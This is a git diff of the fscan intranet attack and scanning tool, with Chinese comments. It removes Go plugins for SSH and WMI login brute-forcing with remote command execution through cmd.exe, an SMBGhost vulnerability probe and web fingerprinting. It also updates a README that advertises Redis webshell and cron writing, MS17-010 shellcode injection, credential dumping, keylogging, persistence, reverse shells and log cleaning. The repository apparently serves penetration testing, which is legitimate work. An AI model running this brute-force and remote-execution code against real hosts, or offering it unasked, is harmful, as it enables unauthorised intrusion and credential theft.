|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func() {
|
||||
output, err := session.CombinedOutput(Common.Command)
|
||||
select {
|
||||
case cmdDone <- struct {
|
||||
output []byte
|
||||
err error
|
||||
}{output, err}:
|
||||
case <-ctx.Done():
|
||||
}
|
||||
}()
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return true, fmt.Errorf("命令执行超时: %v", ctx.Err())
|
||||
case result := <-cmdDone:
|
||||
if result.err != nil {
|
||||
return true, result.err
|
||||
}
|
||||
if Common.SshKey != "" {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v\n命令输出:\n%v",
|
||||
info.Host, info.Ports, string(result.output)))
|
||||
} else {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v",
|
||||
info.Host, info.Ports, user, pass, string(result.output)))
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if Common.SshKey != "" {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v",
|
||||
info.Host, info.Ports))
|
||||
} else {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v",
|
||||
info.Host, info.Ports, user, pass))
|
||||
}
|
||||
}
|
||||
|
||||
return flag, nil
|
||||
}
|
||||
@@ -1,161 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
)
|
||||
|
||||
const (
|
||||
pkt = "\x00" + // session
|
||||
"\x00\x00\xc0" + // legth
|
||||
|
||||
"\xfeSMB@\x00" + // protocol
|
||||
|
||||
//[MS-SMB2]: SMB2 NEGOTIATE Request
|
||||
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
|
||||
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x1f\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
|
||||
|
||||
"$\x00" +
|
||||
"\x08\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00" +
|
||||
"\x7f\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"x\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x02" +
|
||||
"\x10\x02" +
|
||||
"\x22\x02" +
|
||||
"$\x02" +
|
||||
"\x00\x03" +
|
||||
"\x02\x03" +
|
||||
"\x10\x03" +
|
||||
"\x11\x03" +
|
||||
"\x00\x00\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
|
||||
|
||||
"\x01\x00" +
|
||||
"&\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" +
|
||||
"\x20\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
|
||||
|
||||
"\x03\x00" +
|
||||
"\x0e\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" + //CompressionAlgorithmCount
|
||||
"\x00\x00" +
|
||||
"\x01\x00\x00\x00" +
|
||||
"\x01\x00" + //LZNT1
|
||||
"\x00\x00" +
|
||||
"\x00\x00\x00\x00"
|
||||
)
|
||||
|
||||
// SmbGhost 检测SMB Ghost漏洞(CVE-2020-0796)的入口函数
|
||||
func SmbGhost(info *Common.HostInfo) error {
|
||||
// 如果开启了暴力破解模式,跳过该检测
|
||||
if Common.IsBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 执行实际的SMB Ghost漏洞扫描
|
||||
err := SmbGhostScan(info)
|
||||
return err
|
||||
}
|
||||
|
||||
// SmbGhostScan 执行具体的SMB Ghost漏洞检测逻辑
|
||||
func SmbGhostScan(info *Common.HostInfo) error {
|
||||
// 设置扫描参数
|
||||
ip := info.Host
|
||||
port := 445 // SMB服务默认端口
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
// 构造目标地址
|
||||
addr := fmt.Sprintf("%s:%v", ip, port)
|
||||
|
||||
// 建立TCP连接
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer conn.Close() // 确保连接最终被关闭
|
||||
|
||||
// 发送SMB协议探测数据包
|
||||
if _, err = conn.Write([]byte(pkt)); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 准备接收响应
|
||||
buff := make([]byte, 1024)
|
||||
|
||||
// 设置读取超时
|
||||
if err = conn.SetReadDeadline(time.Now().Add(timeout)); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 读取响应数据
|
||||
n, err := conn.Read(buff)
|
||||
if err != nil || n == 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
// 分析响应数据,检测是否存在漏洞
|
||||
// 检查条件:
|
||||
// 1. 响应包含"Public"字符串
|
||||
// 2. 响应长度大于等于76字节
|
||||
// 3. 特征字节匹配 (0x11,0x03) 和 (0x02,0x00)
|
||||
if bytes.Contains(buff[:n], []byte("Public")) &&
|
||||
len(buff[:n]) >= 76 &&
|
||||
bytes.Equal(buff[72:74], []byte{0x11, 0x03}) &&
|
||||
bytes.Equal(buff[74:76], []byte{0x02, 0x00}) {
|
||||
|
||||
// 发现漏洞,记录结果
|
||||
result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
|
||||
Common.LogSuccess(result)
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
@@ -1,156 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/C-Sto/goWMIExec/pkg/wmiexec"
|
||||
)
|
||||
|
||||
// 全局变量
|
||||
var (
|
||||
ClientHost string // 客户端主机名
|
||||
flag bool // 初始化标志
|
||||
)
|
||||
|
||||
// init 初始化函数
|
||||
func init() {
|
||||
if flag {
|
||||
return
|
||||
}
|
||||
// 获取主机名
|
||||
clientHost, err := os.Hostname()
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
ClientHost = clientHost
|
||||
flag = true
|
||||
}
|
||||
|
||||
// WmiExec 执行WMI远程命令
|
||||
func WmiExec(info *Common.HostInfo) (tmperr error) {
|
||||
// 如果是暴力破解模式则跳过
|
||||
if Common.IsBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
starttime := time.Now().Unix()
|
||||
|
||||
// 遍历用户字典
|
||||
for _, user := range Common.Userdict["smb"] {
|
||||
PASS:
|
||||
// 遍历密码字典
|
||||
for _, pass := range Common.Passwords {
|
||||
// 替换密码模板中的用户名
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
// 尝试WMI连接
|
||||
flag, err := Wmiexec(info, user, pass, Common.Hash)
|
||||
|
||||
// 记录错误日志
|
||||
errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err)
|
||||
errlog = strings.Replace(errlog, "\n", "", -1)
|
||||
Common.LogError(errlog)
|
||||
|
||||
if flag {
|
||||
// 成功连接,记录结果
|
||||
var result string
|
||||
if Common.Domain != "" {
|
||||
result = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", info.Host, info.Ports, Common.Domain, user)
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] WmiExec %v:%v:%v ", info.Host, info.Ports, user)
|
||||
}
|
||||
|
||||
// 添加认证信息到结果
|
||||
if Common.Hash != "" {
|
||||
result += "hash: " + Common.Hash
|
||||
} else {
|
||||
result += pass
|
||||
}
|
||||
Common.LogSuccess(result)
|
||||
return err
|
||||
} else {
|
||||
tmperr = err
|
||||
// 检查错误是否需要终止
|
||||
if Common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["smb"])*len(Common.Passwords)) * Common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
// 如果使用NTLM Hash,则跳过密码循环
|
||||
if len(Common.Hash) == 32 {
|
||||
break PASS
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// Wmiexec 包装WMI执行函数
|
||||
func Wmiexec(info *Common.HostInfo, user string, pass string, hash string) (flag bool, err error) {
|
||||
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
wmiexec.Timeout = int(Common.Timeout)
|
||||
return WMIExec(target, user, pass, hash, Common.Domain, Common.Command, ClientHost, "", nil)
|
||||
}
|
||||
|
||||
// WMIExec 执行WMI远程命令
|
||||
func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) {
|
||||
// 初始化WMI配置
|
||||
if cfgIn == nil {
|
||||
cfg, err1 := wmiexec.NewExecConfig(username, password, hash, domain, target, clientHostname, true, nil, nil)
|
||||
if err1 != nil {
|
||||
err = err1
|
||||
return
|
||||
}
|
||||
cfgIn = &cfg
|
||||
}
|
||||
|
||||
// 创建WMI执行器
|
||||
execer := wmiexec.NewExecer(cfgIn)
|
||||
|
||||
// 设置目标绑定
|
||||
err = execer.SetTargetBinding(binding)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// 进行认证
|
||||
err = execer.Auth()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
flag = true
|
||||
|
||||
// 如果有命令则执行
|
||||
if command != "" {
|
||||
// 使用cmd.exe执行命令
|
||||
command = "C:\\Windows\\system32\\cmd.exe /c " + command
|
||||
|
||||
// 检查RPC端口
|
||||
if execer.TargetRPCPort == 0 {
|
||||
err = errors.New("RPC端口为0,无法连接")
|
||||
return
|
||||
}
|
||||
|
||||
// 建立RPC连接
|
||||
err = execer.RPCConnect()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// 执行命令
|
||||
err = execer.Exec(command)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -1,323 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"compress/gzip"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"github.com/shadow1ng/fscan/WebScan"
|
||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||
"golang.org/x/text/encoding/simplifiedchinese"
|
||||
)
|
||||
|
||||
// WebTitle 获取Web标题并执行扫描
|
||||
func WebTitle(info *Common.HostInfo) error {
|
||||
// 如果是webpoc扫描模式,直接执行WebScan
|
||||
if Common.Scantype == "webpoc" {
|
||||
WebScan.WebScan(info)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 获取网站标题信息
|
||||
err, CheckData := GOWebTitle(info)
|
||||
info.Infostr = WebScan.InfoCheck(info.Url, &CheckData)
|
||||
|
||||
// 检查是否为打印机,避免意外打印
|
||||
for _, v := range info.Infostr {
|
||||
if v == "打印机" {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// 根据配置决定是否执行漏洞扫描
|
||||
if !Common.NoPoc && err == nil {
|
||||
WebScan.WebScan(info)
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
|
||||
Common.LogError(errlog)
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
// GOWebTitle 获取网站标题并处理URL
|
||||
func GOWebTitle(info *Common.HostInfo) (err error, CheckData []WebScan.CheckDatas) {
|
||||
// 如果URL未指定,根据端口生成URL
|
||||
if info.Url == "" {
|
||||
switch info.Ports {
|
||||
case "80":
|
||||
info.Url = fmt.Sprintf("http://%s", info.Host)
|
||||
case "443":
|
||||
info.Url = fmt.Sprintf("https://%s", info.Host)
|
||||
default:
|
||||
host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
protocol := GetProtocol(host, Common.Timeout)
|
||||
info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
|
||||
}
|
||||
} else {
|
||||
// 处理未指定协议的URL
|
||||
if !strings.Contains(info.Url, "://") {
|
||||
host := strings.Split(info.Url, "/")[0]
|
||||
protocol := GetProtocol(host, Common.Timeout)
|
||||
info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
|
||||
}
|
||||
}
|
||||
|
||||
// 第一次获取URL
|
||||
err, result, CheckData := geturl(info, 1, CheckData)
|
||||
if err != nil && !strings.Contains(err.Error(), "EOF") {
|
||||
return
|
||||
}
|
||||
|
||||
// 处理URL跳转
|
||||
if strings.Contains(result, "://") {
|
||||
info.Url = result
|
||||
err, result, CheckData = geturl(info, 3, CheckData)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// 处理HTTP到HTTPS的升级
|
||||
if result == "https" && !strings.HasPrefix(info.Url, "https://") {
|
||||
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
|
||||
err, result, CheckData = geturl(info, 1, CheckData)
|
||||
|
||||
// 处理升级后的跳转
|
||||
if strings.Contains(result, "://") {
|
||||
info.Url = result
|
||||
err, _, CheckData = geturl(info, 3, CheckData)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// geturl 获取URL响应内容和信息
|
||||
// 参数:
|
||||
// - info: 主机配置信息
|
||||
// - flag: 请求类型标志(1:首次尝试 2:获取favicon 3:处理302跳转 4:处理400转https)
|
||||
// - CheckData: 检查数据数组
|
||||
//
|
||||
// 返回:
|
||||
// - error: 错误信息
|
||||
// - string: 重定向URL或协议
|
||||
// - []WebScan.CheckDatas: 更新后的检查数据
|
||||
func geturl(info *Common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
|
||||
// 处理目标URL
|
||||
Url := info.Url
|
||||
if flag == 2 {
|
||||
// 获取favicon.ico的URL
|
||||
URL, err := url.Parse(Url)
|
||||
if err == nil {
|
||||
Url = fmt.Sprintf("%s://%s/favicon.ico", URL.Scheme, URL.Host)
|
||||
} else {
|
||||
Url += "/favicon.ico"
|
||||
}
|
||||
}
|
||||
|
||||
// 创建HTTP请求
|
||||
req, err := http.NewRequest("GET", Url, nil)
|
||||
if err != nil {
|
||||
return err, "", CheckData
|
||||
}
|
||||
|
||||
// 设置请求头
|
||||
req.Header.Set("User-agent", Common.UserAgent)
|
||||
req.Header.Set("Accept", Common.Accept)
|
||||
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
|
||||
if Common.Cookie != "" {
|
||||
req.Header.Set("Cookie", Common.Cookie)
|
||||
}
|
||||
req.Header.Set("Connection", "close")
|
||||
|
||||
// 选择HTTP客户端
|
||||
var client *http.Client
|
||||
if flag == 1 {
|
||||
client = lib.ClientNoRedirect // 不跟随重定向
|
||||
} else {
|
||||
client = lib.Client // 跟随重定向
|
||||
}
|
||||
|
||||
// 发送请求
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return err, "https", CheckData
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
// 读取响应内容
|
||||
body, err := getRespBody(resp)
|
||||
if err != nil {
|
||||
return err, "https", CheckData
|
||||
}
|
||||
|
||||
// 保存检查数据
|
||||
CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)})
|
||||
|
||||
// 处理非favicon请求
|
||||
var reurl string
|
||||
if flag != 2 {
|
||||
// 处理编码
|
||||
if !utf8.Valid(body) {
|
||||
body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body)
|
||||
}
|
||||
|
||||
// 获取页面信息
|
||||
title := gettitle(body)
|
||||
length := resp.Header.Get("Content-Length")
|
||||
if length == "" {
|
||||
length = fmt.Sprintf("%v", len(body))
|
||||
}
|
||||
|
||||
// 处理重定向
|
||||
redirURL, err1 := resp.Location()
|
||||
if err1 == nil {
|
||||
reurl = redirURL.String()
|
||||
}
|
||||
|
||||
// 输出结果
|
||||
result := fmt.Sprintf("[*] 网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v",
|
||||
resp.Request.URL, resp.StatusCode, length, title)
|
||||
if reurl != "" {
|
||||
result += fmt.Sprintf(" 重定向地址: %s", reurl)
|
||||
}
|
||||
Common.LogSuccess(result)
|
||||
}
|
||||
|
||||
// 返回结果
|
||||
if reurl != "" {
|
||||
return nil, reurl, CheckData
|
||||
}
|
||||
if resp.StatusCode == 400 && !strings.HasPrefix(info.Url, "https") {
|
||||
return nil, "https", CheckData
|
||||
}
|
||||
return nil, "", CheckData
|
||||
}
|
||||
|
||||
// getRespBody 读取HTTP响应体内容
|
||||
func getRespBody(oResp *http.Response) ([]byte, error) {
|
||||
var body []byte
|
||||
|
||||
// 处理gzip压缩的响应
|
||||
if oResp.Header.Get("Content-Encoding") == "gzip" {
|
||||
gr, err := gzip.NewReader(oResp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer gr.Close()
|
||||
|
||||
// 循环读取解压内容
|
||||
for {
|
||||
buf := make([]byte, 1024)
|
||||
n, err := gr.Read(buf)
|
||||
if err != nil && err != io.EOF {
|
||||
return nil, err
|
||||
}
|
||||
if n == 0 {
|
||||
break
|
||||
}
|
||||
body = append(body, buf...)
|
||||
}
|
||||
} else {
|
||||
// 直接读取未压缩的响应
|
||||
raw, err := io.ReadAll(oResp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
body = raw
|
||||
}
|
||||
return body, nil
|
||||
}
|
||||
|
||||
// gettitle 从HTML内容中提取网页标题
|
||||
func gettitle(body []byte) (title string) {
|
||||
// 使用正则表达式匹配title标签内容
|
||||
re := regexp.MustCompile("(?ims)<title.*?>(.*?)</title>")
|
||||
find := re.FindSubmatch(body)
|
||||
|
||||
if len(find) > 1 {
|
||||
title = string(find[1])
|
||||
|
||||
// 清理标题内容
|
||||
title = strings.TrimSpace(title) // 去除首尾空格
|
||||
title = strings.Replace(title, "\n", "", -1) // 去除换行
|
||||
title = strings.Replace(title, "\r", "", -1) // 去除回车
|
||||
title = strings.Replace(title, " ", " ", -1) // 替换HTML空格
|
||||
|
||||
// 截断过长的标题
|
||||
if len(title) > 100 {
|
||||
title = title[:100]
|
||||
}
|
||||
|
||||
// 处理空标题
|
||||
if title == "" {
|
||||
title = "\"\"" // 空标题显示为双引号
|
||||
}
|
||||
} else {
|
||||
title = "无标题" // 没有找到title标签
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// GetProtocol 检测目标主机的协议类型(HTTP/HTTPS)
|
||||
func GetProtocol(host string, Timeout int64) (protocol string) {
|
||||
protocol = "http"
|
||||
|
||||
// 根据标准端口快速判断协议
|
||||
if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") {
|
||||
return
|
||||
} else if strings.HasSuffix(host, ":443") {
|
||||
protocol = "https"
|
||||
return
|
||||
}
|
||||
|
||||
// 尝试建立TCP连接
|
||||
socksconn, err := Common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// 尝试TLS握手
|
||||
conn := tls.Client(socksconn, &tls.Config{
|
||||
MinVersion: tls.VersionTLS10,
|
||||
InsecureSkipVerify: true,
|
||||
})
|
||||
|
||||
// 确保连接关闭
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
defer func() {
|
||||
if err := recover(); err != nil {
|
||||
Common.LogError(err)
|
||||
}
|
||||
}()
|
||||
conn.Close()
|
||||
}
|
||||
}()
|
||||
|
||||
// 设置连接超时
|
||||
conn.SetDeadline(time.Now().Add(time.Duration(Timeout) * time.Second))
|
||||
|
||||
// 执行TLS握手
|
||||
err = conn.Handshake()
|
||||
if err == nil || strings.Contains(err.Error(), "handshake failure") {
|
||||
protocol = "https"
|
||||
}
|
||||
|
||||
return protocol
|
||||
}
|
||||
@@ -1,300 +1,292 @@
|
||||
# Fscan 2.0.0
|
||||
[English][url-docen]
|
||||
# Fscan
|
||||
|
||||
# 0x01 简介
|
||||
一款功能丰富的内网综合扫描工具,提供一键自动化、全方位的漏洞扫描能力。
|
||||
[English](README_EN.md)
|
||||
|
||||
## 主要功能
|
||||
内网综合扫描工具,一键自动化漏扫。
|
||||
|
||||
- 主机存活探测:快速识别内网中的活跃主机
|
||||
- 端口扫描:全面检测目标主机开放端口
|
||||
- 服务爆破:支持对常见服务进行密码爆破测试
|
||||
- 漏洞利用:集成MS17-010等高危漏洞检测
|
||||
- Redis利用:支持批量写入公钥进行权限获取
|
||||
- 系统信息收集:可读取Windows网卡信息
|
||||
- Web应用检测:
|
||||
- Web指纹识别
|
||||
- Web漏洞扫描
|
||||
- 域环境探测:
|
||||
- NetBIOS信息获取
|
||||
- 域控制器识别
|
||||
- 后渗透功能:支持通过计划任务实现反弹shell
|
||||
**版本**: 2.2.0-rc.1
|
||||
|
||||
# 0x02 主要功能
|
||||
## 1. 信息搜集
|
||||
- 基于ICMP的主机存活探测:快速识别网络中的活跃主机设备
|
||||
- 全面的端口扫描:系统地检测目标主机的开放端口情况
|
||||
## 功能特性
|
||||
|
||||
## 2. 爆破功能
|
||||
- 常用服务密码爆破:支持SSH、SMB、RDP等多种协议的身份认证测试
|
||||
- 数据库密码爆破:覆盖MySQL、MSSQL、Redis、PostgreSQL、Oracle等主流数据库系统
|
||||
### 扫描能力
|
||||
- **主机发现** - ICMP/Ping存活探测,支持大网段B/C段存活统计
|
||||
- **端口扫描** - TCP全连接扫描,内置133个常用端口,支持端口组(web/db/service/all)
|
||||
- **服务识别** - 智能协议识别,支持20+种服务指纹匹配
|
||||
- **Web探测** - 网站标题、CMS指纹、Web中间件、WAF/CDN识别(40+指纹)
|
||||
|
||||
## 3. 系统信息与漏洞扫描
|
||||
- 网络信息收集:包括NetBIOS探测和域控制器识别
|
||||
- 系统信息获取:能够读取目标系统网卡配置信息
|
||||
- 安全漏洞检测:支持MS17-010等高危漏洞的识别与检测
|
||||
### 爆破能力
|
||||
- **弱密码爆破** - 28种服务爆破(SSH/RDP/SMB/FTP/MySQL/MSSQL/Oracle/Redis等)
|
||||
- **Hash碰撞** - 支持NTLM Hash认证(SMB/WMI)
|
||||
- **SSH密钥登录** - 支持私钥认证方式
|
||||
- **智能字典** - 内置100+常见弱密码,支持{user}变量替换
|
||||
|
||||
## 4. Web应用探测
|
||||
- 网站信息收集:自动获取网站标题信息
|
||||
- Web指纹识别:可识别常见CMS系统与OA框架
|
||||
- 漏洞扫描能力:集成WebLogic、Struts2等漏洞检测,兼容XRay POC
|
||||
### 漏洞检测
|
||||
- **高危漏洞** - MS17-010(永恒之蓝)、SMBGhost(CVE-2020-0796)
|
||||
- **未授权访问** - Redis/MongoDB/Memcached/Elasticsearch等未授权检测
|
||||
- **POC扫描** - 集成Web漏洞POC,支持Xray POC格式
|
||||
- **DNSLog** - 支持DNSLog外带检测
|
||||
|
||||
## 5. 漏洞利用模块
|
||||
- Redis利用:支持写入公钥或植入计划任务
|
||||
- SSH远程执行:提供SSH命令执行功能
|
||||
- MS17-010利用:支持ShellCode注入,可实现添加用户等操作
|
||||
### 漏洞利用
|
||||
- **Redis利用** - 写公钥、写计划任务、写WebShell、主从复制RCE
|
||||
- **MS17-010利用** - ShellCode注入,支持添加用户、执行命令
|
||||
- **SSH命令执行** - 认证成功后自动执行命令
|
||||
|
||||
## 6. 辅助功能
|
||||
- 扫描结果存储:将所有检测结果保存至文件,便于后续分析
|
||||
### 本地模块
|
||||
- **信息收集** - 系统信息、环境变量、域控信息、网卡配置
|
||||
- **凭据获取** - 内存转储(MiniDump)、键盘记录、注册表导出
|
||||
- **权限维持** - Systemd服务、Windows服务、计划任务、启动项、LD_PRELOAD
|
||||
- **反弹Shell** - 正向Shell、反向Shell、SOCKS5代理服务
|
||||
- **杀软检测** - 识别目标主机安装的安全软件
|
||||
- **痕迹清理** - 日志清理工具
|
||||
|
||||
### 输入输出
|
||||
- **目标输入** - IP/CIDR/域名/URL,支持文件批量导入
|
||||
- **排除规则** - 支持排除特定主机、端口
|
||||
- **输出格式** - TXT/JSON/CSV多格式输出
|
||||
- **静默模式** - 无Banner、无进度条、无颜色输出
|
||||
|
||||
### 网络控制
|
||||
- **代理支持** - HTTP/SOCKS5代理,支持指定网卡
|
||||
- **发包控制** - 速率限制、最大发包数量控制
|
||||
- **超时控制** - 端口超时、Web超时、全局超时独立配置
|
||||
- **并发控制** - 端口扫描线程、服务扫描线程独立配置
|
||||
|
||||
### 扩展功能
|
||||
- **SDK嵌入** - `pkg/fscan`提供Go SDK,可嵌入Agent或安全平台,支持任务控制(Pause/Resume)、实时进度回调、TaskID追溯
|
||||
- **Web管理界面** - 可视化扫描任务管理(条件编译 -tags web)
|
||||
- **Lab靶场环境** - 内置Docker靶场用于测试学习
|
||||
- **插件化架构** - 服务插件/Web插件/本地插件分离,易于扩展
|
||||
- **多语言支持** - 中英文界面切换(-lang zh/en)
|
||||
- **性能统计** - JSON格式性能报告(-perf)
|
||||
|
||||
## v2.1.0 更新日志
|
||||
|
||||
> 本次更新包含 **262个提交**,涵盖30项新功能、120项修复、54项重构、14项性能优化、20项测试增强。
|
||||
|
||||
### 架构重构
|
||||
- **全局变量消除** - 迁移至Config/State对象,提升并发安全和可测试性
|
||||
- **SMB插件融合** - 整合smb/smb2/smbghost/smbinfo为统一插件,新增smb_protocol.go
|
||||
- **服务探测重构** - 实现Nmap风格fallback机制,优化端口指纹识别策略
|
||||
- **输出系统重构** - TXT实时刷盘+双写机制,解决结果丢失和乱序问题
|
||||
- **i18n框架升级** - 迁移至go-i18n,完整覆盖core/plugins/webscan模块
|
||||
- **HostInfo重构** - Ports字段从string改为int,类型安全
|
||||
- **函数复杂度优化** - clusterpoc(125→30)、EnhancedPortScan(111→20)
|
||||
- **代码审计** - 修复P0-P2级别问题,清理deadcode
|
||||
- **日志系统优化** - LogDebug调用清理(71→18),精简启动日志输出
|
||||
|
||||
### 性能优化
|
||||
- **正则预编译** - 全局正则表达式预编译,避免重复编译开销
|
||||
- **内存优化** - map[string]bool改为map[string]struct{}节省内存
|
||||
- **并发指纹匹配** - 多协程并行匹配,提升识别速度
|
||||
- **连接复用** - SOCKS5全局拨号器复用,避免重复握手
|
||||
- **滑动窗口调度** - 自适应线程池+流式迭代器,优化端口扫描
|
||||
- **CEL缓存优化** - POC扫描CEL环境缓存,减少重复初始化
|
||||
- **包级变量提取** - proxyFailurePatterns/resourceExhaustedPatterns/sslSecondProbes等
|
||||
- **预分配容量** - 简化转换链、单次字符串替换
|
||||
- **并发安全优化** - 优化锁粒度和内存分配
|
||||
|
||||
### 新功能
|
||||
- **Web管理界面** - 可视化扫描任务管理,响应式布局和进度显示
|
||||
- **多格式POC适配** - 支持xray和afrog格式POC
|
||||
- **智能扫描模式** - 布隆过滤器去重+代理优化
|
||||
- **增强指纹库** - 集成FingerprintHub(3139条指纹)
|
||||
- **Favicon指纹识别** - 支持mmh3和MD5双格式hash匹配
|
||||
- **通用版本提取器** - 自动提取服务版本信息
|
||||
- **指纹优先级排序** - 智能排序匹配结果
|
||||
- **智能协议检测** - 自动识别HTTP/HTTPS协议类型
|
||||
- **网卡指定功能** - 支持VPN场景(-iface参数)
|
||||
- **排除主机文件** - 支持从文件读取排除主机(-ehf参数)
|
||||
- **ICMP令牌桶限速** - 防止高速扫描导致路由器崩溃
|
||||
- **端口扫描重试** - 失败自动重扫机制
|
||||
- **RDP真实认证** - 集成grdp库实现系统指纹识别
|
||||
- **SMB/FTP文件列表** - 匿名访问时自动列出文件
|
||||
- **302跳转双重识别** - 同时识别原始响应和跳转后响应指纹
|
||||
